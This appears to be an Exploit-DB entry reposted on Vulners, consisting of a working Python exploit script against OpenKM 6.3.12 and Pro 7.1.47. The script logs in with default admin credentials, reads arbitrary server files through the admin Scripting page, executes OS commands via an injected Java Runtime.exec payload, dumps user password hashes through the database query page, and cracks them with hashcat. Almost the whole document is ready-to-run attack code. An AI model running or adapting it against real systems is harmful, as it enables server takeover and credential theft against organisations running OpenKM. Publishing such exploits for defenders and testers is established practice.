Lucene search
K

OpenKM 6.3.12 - Multiple

🗓️ 29 Apr 2026 00:00:00Reported by skumarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 63 Views

OpenKM multiple critical zero-day affecting OpenKM Community Edition 6.3.12 and Pro Edition 7.1.47 and earlier.

Code
# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A

import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass

print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")

# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
    required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
    for lib in required_libraries:
        try:
            import_module(lib)
        except ImportError:
            print(f"Library {lib} not found. Installing...")
            subprocess.check_call([
    sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
            print(f"Library {lib} installed successfully.")

check_and_install_libraries()

from bs4 import BeautifulSoup
from prettytable import PrettyTable

try:
    from termcolor import colored
    use_colored_output = True
except ImportError:
    use_colored_output = False

# Utility function for colored output
def print_colored(message, color):
    if use_colored_output:
        print(colored(message, color))
    else:
        print(message)

# Global session to persist cookies and authentication
session = requests.Session()

def signal_handler(sig, frame):
    print_colored("\nDetected CTRL+C. Logging out...", "red")
    if "base_url" in globals():
        logout(base_url, proxies, verify_ssl)
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)



def check_version(base_url, proxies, verify_ssl):
    print_colored("Checking OpenKM version...", "cyan")
    version_url = f"{base_url}/frontend/Workspace"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Accept": "*/*",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url,
        "Referer": f"{base_url}/frontend/index.jsp",
    }

    payload = (
        f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
        "com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
    )

    response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)

    if response.status_code == 200 and response.text.startswith("//OK"):
        try:
            strings = re.findall(r'"([^"]+)"', response.text)
            idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
            build = strings[idx + 1]
            release_type = strings[idx + 2]
            ver_major = strings[idx + 3]
            ver_minor = strings[idx + 4]
            ver_patch = strings[idx + 5]
            print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
        except Exception as e:
            print_colored(f"Failed to parse version: {e}", "red")
    else:
        print_colored("Failed to fetch version information.", "red")



# Function to handle login
def login(base_url, username, password):
    login_url = f"{base_url}/login.jsp"
    login_payload = {
        "j_username": username,
        "j_password": password,
        "j_language": "en-GB",
        "submit": ""
    }
    login_post_url = f"{base_url}/j_spring_security_check"
    response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
    if "error" in response.url:
        print_colored("Login failed. Check credentials.", "red")
        return False
    print_colored("Login successful using default credentials or provided oen, if any.", "green")
    check_version(base_url, proxies, verify_ssl)
    return True


# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    script_payload = {
        "csrft": csrf_token,
        "script": "",
        "fsPath": read_file,
        "action": "Load"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, "html.parser")
        textarea = soup.find("textarea", {"id": "script"})
        if textarea:
            print_colored("LFI Successful. Extracted Content:", "green")
            print(textarea.text.strip())
        else:
            print_colored("Content not found.", "red")
    else:
        print_colored("LFI exploit failed.", "red")

# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
    csrf_page_url = f"{base_url}/admin/Scripting"
    csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
    csrf_token = None
    if csrf_response.status_code == 200:
        soup = BeautifulSoup(csrf_response.text, "html.parser")
        csrf_input = soup.find("input", {"name": "csrft"})
        if csrf_input:
            csrf_token = csrf_input["value"]
    if not csrf_token:
        print_colored("Failed to fetch CSRF token.", "red")
        return

    exploit_payload = f"""
    try {{
        Process process = Runtime.getRuntime().exec("{command}");
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String output = reader.readLine();
        print("Result: " + output);
    }} catch (IOException e) {{
        print("Error: " + e.getMessage());
    }}
    """
    script_payload = {
        "csrft": csrf_token,
        "script": exploit_payload,
        "fsPath": "",
        "action": "Evaluate"
    }
    script_post_url = f"{base_url}/admin/Scripting"
    response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        match = re.search(r"Result:\s*(\w+)", response.text)
        if match:
            print_colored("RCE Successful. Result:", "green")
            print(match.group(1))
        else:
            print_colored("RCE failed to return a result.", "red")

#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
    def extract_hashes_to_file():
        try:
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            # Extract only the hashes (after the colon)
            hashes_only = [line.split(":")[1].strip() for line in hashes_data]
            # Write the hashes to md5_hashes.txt
            with open("md5_hashes.txt", "w") as file:
                file.write("\n".join(hashes_only))
            print("Hashes successfully extracted to md5_hashes.txt")
        except FileNotFoundError:
            print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")

    # Combine usernames with cracked passwords
    def combine_passwords():
        try:
            # Load usernames and hashes from hashes.txt
            with open("hashes.txt", "r") as file:
                hashes_data = file.readlines()
            
            # Load cracked hashes and passwords from cracked_hashes.txt
            with open("cracked_hashes.txt", "r") as file:
                cracked_data = file.readlines()
            
            # Parse data into dictionaries
            hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
            cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
            
            # Match and combine data into final_cracked.txt
            final_cracked = ["Username:Passwords\n"]  # Add header
            for username, hash_value in hashes_dict.items():
                if hash_value in cracked_dict:
                    password = cracked_dict[hash_value]
                    final_cracked.append(f"{username}:{password}\n")
            
            # Save the results to final_cracked.txt
            final_cracked_path = os.path.abspath("final_cracked.txt")
            with open(final_cracked_path, "w") as file:
                file.writelines(final_cracked)
            print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")

            # Confirm with the user before displaying passwords
            show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
            if show_passwords == 'y':
                print("{:<20} {:<20}".format("Username", "Password"))
                print("-" * 40)
                for line in final_cracked[1:]:  # Skip header
                    username, password = line.strip().split(":")
                    print("{:<20} {:<20}".format(username, password))
                    exit(0)
            else:
                print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")

        except FileNotFoundError:
            print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")

    # Main script
    if __name__ == "__main__":
        # Step 1: Extract hashes to md5_hashes.txt
        extract_hashes_to_file()

        # Step 2: Prompt user for the wordlist path and use default if not provided
        wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
        if not wordlist_path:
            wordlist_path = "/usr/share/wordlists/rockyou.txt"

        import os
        # Run hashcat commands
        print("Running hashcat...")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
        os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")

        # Step 3: Combine usernames with cracked passwords
        combine_passwords()



# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
    print_colored("Running Unrestricted SQL Query...", "magenta")
    query_url = f"{base_url}/admin/DatabaseQuery"
    multipart_form_data = (
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
        "SELECT * FROM OKM_USER;\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
        "OKM_USER\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
        "-----------------------------88617175833200583821560840739\r\n"
        "Content-Disposition: form-data; name=\"type\"\r\n\r\n"
        "jdbc\r\n"
        "-----------------------------88617175833200583821560840739--"
    )
    headers = {
        "Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
    }
    response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        table = soup.find('table', class_='results-old')
        if table:
            print_colored("SQL Injection Successful. Results:", "green")
            rows = table.find_all('tr')
            table_data = PrettyTable()
            headers = [header.text.strip() for header in rows[0].find_all('th')]
            table_data.field_names = headers
            with open("hashes.txt", "w") as file:
                for row in rows[1:]:
                    columns = row.find_all(['td', 'th'])
                    # Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
                    row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
                    if len(row_data) == len(headers):
                        table_data.add_row(row_data)
                        # Write USR_ID and USR_PASSWORD to the file
                        usr_id = row_data[headers.index("USR_ID")]
                        usr_password = row_data[headers.index("USR_PASSWORD")]
                        file.write(f"{usr_id}:{usr_password}\n")

            print(table_data)
            #current_directory = os.getcwd()
            print_colored("hashes.txt created in the current directory", "green")

            crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
            if crack_hash in ['y', 'Y']:
               crack_password()
            else:
                print("Skipping password cracking...")
                exit()

        else:
            print_colored("No results found.", "red")
    else:
        print_colored("SQL Injection failed.", "red")

# Function for logout
def logout(base_url, proxies, verify_ssl):
    print_colored("Logging out...", "green")
    logout_url = f"{base_url}/frontend/Auth"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
        "Accept": "*/*",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "text/x-gwt-rpc; charset=utf-8",
        "X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
        "X-GWT-Module-Base": f"{base_url}/frontend/",
        "Origin": base_url
    }
    logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
    response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
    if response.status_code == 200 and "//OK" in response.text:
        print_colored("Logged out successfully.", "green")
    else:
        print_colored("Logout failed.", "red")

# Main function
def main():
    global base_url, proxies, verify_ssl

    parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
    parser.add_argument("--url", required=True, help="Base URL of the target application")
    parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
    parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
    parser.add_argument("--login", help="Credentials in the format username:password")
    args = parser.parse_args()

    help1 = args.run
    if help1 in ["-h", "--help"]:
        print_colored("Run python3 openkm-scanner.py --url http://host:port")

    base_url = args.url[:-1] if args.url.endswith('/') else args.url
    if not base_url.endswith("/OpenKM"):
        base_url += "/OpenKM"

    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
    verify_ssl = False
    
    if args.login:
        try:
            username, password = args.login.split(":", 1)
        except ValueError:
            print_colored("Invalid format for --login. Use username:password", "red")
            return
    else:
        username = "okmAdmin"
        password = "admin"
    if not login(base_url, username, password):
        return


    # if args.login:
    #     print("Username Received",  login)
    #     try:
    #         username, password = args.login.split(":", 1)
    #     except ValueError:
    #         print_colored("Invalid format for --login. Use username:password", "red")
    #     return
    # else:
    #     username = "okmAdmin"
    #     password = "admin"
    # if not login(base_url, username, password):
    #     return

    run_tests = args.run
    if not run_tests:
        run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()

    if run_tests in ['A', 'a']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)
        sqli(base_url, proxies, verify_ssl)
        crack_password()
        exit()

    if run_tests in ['L', 'l']:
        print_colored("Running LFI attack...", "magenta")
        read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
        lfi(base_url, read_file, proxies, verify_ssl)

    if run_tests in ['R', 'r']:
        print_colored("Running RCE attack...", "magenta")
        command = input("Enter command for RCE (default: whoami): ") or "whoami"
        rce(base_url, command, proxies, verify_ssl)

    if run_tests in ['S', 's']:
        sqli(base_url, proxies, verify_ssl)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation